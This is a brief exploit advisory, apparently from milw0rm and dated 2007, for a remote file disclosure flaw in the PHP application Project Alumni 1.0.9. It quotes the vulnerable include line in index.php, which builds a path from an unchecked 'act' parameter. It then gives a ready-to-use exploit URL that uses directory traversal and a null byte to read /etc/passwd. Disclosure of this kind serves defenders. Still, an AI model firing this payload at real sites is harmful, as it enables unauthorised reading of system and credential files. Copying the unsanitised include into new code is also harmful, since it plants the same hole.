12 lines
No EOL
358 B
Text
12 lines
No EOL
358 B
Text
project alumni 1.0.9 remote file disclosure vulnerability
|
|
download : https://sourceforge.net/projects/project-alumni/
|
|
|
|
vulnerable code on index.php
|
|
include($_SERVER['DOCUMENT_ROOT'] . "/pages/" . $_GET['act'] . ".page.inc.php");
|
|
|
|
exploit :
|
|
http://victim/path/index.php?act=../../../../../../etc/passwd%00
|
|
|
|
discovered by tomplixsee
|
|
|
|
# milw0rm.com [2007-11-27] |